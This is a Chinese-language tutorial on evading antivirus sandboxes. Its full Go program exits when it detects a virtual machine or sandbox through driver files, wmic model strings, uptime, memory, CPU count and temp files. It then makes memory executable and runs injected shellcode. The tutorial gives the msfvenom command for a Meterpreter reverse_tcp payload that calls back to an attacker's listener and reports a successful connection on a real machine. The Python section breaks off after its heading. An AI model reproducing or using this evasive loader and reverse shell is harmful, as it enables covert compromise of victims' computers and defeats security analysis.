反VT-沙盒检测-Go&Python

介绍：

近年来，各类恶意软件层出不穷，反病毒软件也更新了各种检测方案以提高检率。

其中比较有效的方案是动态沙箱检测技术，即通过在沙箱中运行程序并观察程序行为来判断程序是否为恶意程序。简单来说沙盒就是为运行中的程序提供的隔离环境。

为了逃避沙箱/安全人员的检测，恶意软件使用了各类识别沙箱/虚拟机的技术，用于判断自身程序是否运行在沙箱/虚拟机中。

go语言

1.使用GoLang打开如下反沙盒go文件。

main.go：会检测电脑配置来判断是否是虚拟环境

packagemainimport("encoding/hex""golang.org/x/sys/windows""os""os/exec""path/filepath""runtime""strings""syscall""time""unsafe")//检测语言，依赖windows数据包，编译后会增加0.6M大小funccheck_language(){a,_:=windows.GetUserPreferredUILanguages(windows.MUI_LANGUAGE_NAME)//获取当前系统首选语言ifa[0]!="zh-CN"{os.Exit(1)}}funccheck_sandbox(){//1.延时运行timeSleep1,_:=timeSleep()//2.检测开机时间bootTime1,_:=bootTime()//3.检测物理内存physicalMemory1,_:=physicalMemory()//4.检测CPU核心数numberOfCPU1,_:=numberOfCPU()//5.检测临时文件数numberOfTempFiles1,_:=numberOfTempFiles()level:=timeSleep1+bootTime1+physicalMemory1+numberOfCPU1+numberOfTempFiles1//有五个等级，等级越趋向于5，越像真机//fmt.Println("level:",level)iflevel<4{os.Exit(1)}}//1.延时运行functimeSleep()(int,error){startTime:=time.Now()time.Sleep(5*time.Second)endTime:=time.Now()sleepTime:=endTime.Sub(startTime)ifsleepTime>=time.Duration(5*time.Second){//fmt.Println("睡眠时间为:",sleepTime)return1,nil}else{return0,nil}}//2.检测开机时间//许多沙箱检测完毕后会重置系统，我们可以检测开机时间来判断是否为真实的运行状况。funcbootTime()(int,error){varkernel=syscall.NewLazyDLL("Kernel32.dll")GetTickCount:=kernel.NewProc("GetTickCount")r,_,_:=GetTickCount.Call()ifr==0{return0,nil}ms:=time.Duration(r*1000*1000)tm:=time.Duration(30*time.Minute)//fmt.Println(ms,tm)ifms<tm{return0,nil}else{return1,nil}}//3、物理内存大小funcphysicalMemory()(int,error){varmod=syscall.NewLazyDLL("kernel32.dll")varproc=mod.NewProc("GetPhysicallyInstalledSystemMemory")varmemuint64proc.Call(uintptr(unsafe.Pointer(&mem)))mem=mem/1048576//fmt.Printf("物理内存为%dG\n",mem)ifmem<4{return0,nil//小于4GB返回0}return1,nil//大于4GB返回1}funcnumberOfCPU()(int,error){a:=runtime.NumCPU()//fmt.Println("CPU核心数为:",a)ifa<4{return0,nil//小于4核心数,返回0}else{return1,nil//大于4核心数，返回1}}funcnumberOfTempFiles()(int,error){conn:=os.Getenv("temp")//通过环境变量读取temp文件夹路径varkintifconn==""{//fmt.Println("未找到temp文件夹，或temp文件夹不存在")return0,nil}else{local_dir:=connerr:=filepath.Walk(local_dir,func(filenamestring,fios.FileInfo,errerror)error{iffi.IsDir(){returnnil}k++//fmt.Println("filename:",filename)//输出文件名字returnnil})//fmt.Println("Temp总共文件数量:",k)iferr!=nil{//fmt.Println("路径获取错误")return0,nil}}ifk<30{return0,nil}return1,nil}funccheck_virtual()(bool,error){//识别虚拟机model:=""varcmd*exec.Cmdcmd=exec.Command("cmd","/C","wmicpathWin32_ComputerSystemgetModel")stdout,err:=cmd.Output()iferr!=nil{returnfalse,err}model=strings.ToLower(string(stdout))ifstrings.Contains(model,"VirtualBox")||strings.Contains(model,"virtual")||strings.Contains(model,"VMware")||strings.Contains(model,"KVM")||strings.Contains(model,"Bochs")||strings.Contains(model,"HVMdomU")||strings.Contains(model,"Parallels"){returntrue,nil//如果是虚拟机则返回true}returnfalse,nil}funcPathExists(pathstring)(bool,error){_,err:=os.Stat(path)iferr==nil{returntrue,nil}ifos.IsNotExist(err){returnfalse,nil}returnfalse,err}funcfack(pathstring){b,_:=PathExists(path)ifb{os.Exit(1)}}funccheck_file(){fack("C:\\windows\\System32\\Drivers\\Vmmouse.sys")fack("C:\\windows\\System32\\Drivers\\vmtray.dll")fack("C:\\windows\\System32\\Drivers\\VMToolsHook.dll")fack("C:\\windows\\System32\\Drivers\\vmmousever.dll")fack("C:\\windows\\System32\\Drivers\\vmhgfs.dll")fack("C:\\windows\\System32\\Drivers\\vmGuestLib.dll")fack("C:\\windows\\System32\\Drivers\\VBoxMouse.sys")fack("C:\\windows\\System32\\Drivers\\VBoxGuest.sys")fack("C:\\windows\\System32\\Drivers\\VBoxSF.sys")fack("C:\\windows\\System32\\Drivers\\VBoxVideo.sys")fack("C:\\windows\\System32\\vboxdisp.dll")fack("C:\\windows\\System32\\vboxhook.dll")fack("C:\\windows\\System32\\vboxoglerrorspu.dll")fack("C:\\windows\\System32\\vboxoglpassthroughspu.dll")fack("C:\\windows\\System32\\vboxservice.exe")fack("C:\\windows\\System32\\vboxtray.exe")fack("C:\\windows\\System32\\VBoxControl.exe")}varVirtualAlloc=syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")funcaaa(aunsafe.Pointer,buintptr,cuint32,dunsafe.Pointer)bool{ret,_,_:=VirtualAlloc.Call(uintptr(a),uintptr(b),uintptr(c),uintptr(d))returnret>0}funcRun(sc[]byte){fly:=func(){}varxxuint32if!aaa(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&fly))),unsafe.Sizeof(uintptr(0)),uint32(0x40),unsafe.Pointer(&xx)){}**(**uintptr)(unsafe.Pointer(&fly))=*(*uintptr)(unsafe.Pointer(&sc))varyyuint32aaa(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))),uintptr(len(sc)),uint32(0x40),unsafe.Pointer(&yy))fly()}funcScFromHex(scHexstring)[]byte{varcharcode[]bytecharcode,_=hex.DecodeString(string(scHex))returncharcode}funcmain(){check_language()check_file()check,_:=check_virtual()ifcheck==true{os.Exit(1)}check_sandbox()sccode:=ScFromHex("生成的hex类型shellcode")Run(sccode)}

2.启动msf，使用命令生成hex类型shellcode

命令：msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=监听ip LPORT=4444 -f hex

将shellcode写入main.go文件中，运行生成exe程序

3.msf设置监听，在真机运行exe程序，msf成功上线

4.将exe程序放到虚拟机中无法运行，证明代码成功检测出当前处在虚拟环境中。

python语言

1.将如下反沙盒py代码使用py文件打包器打包成exe程序

Vt.py:
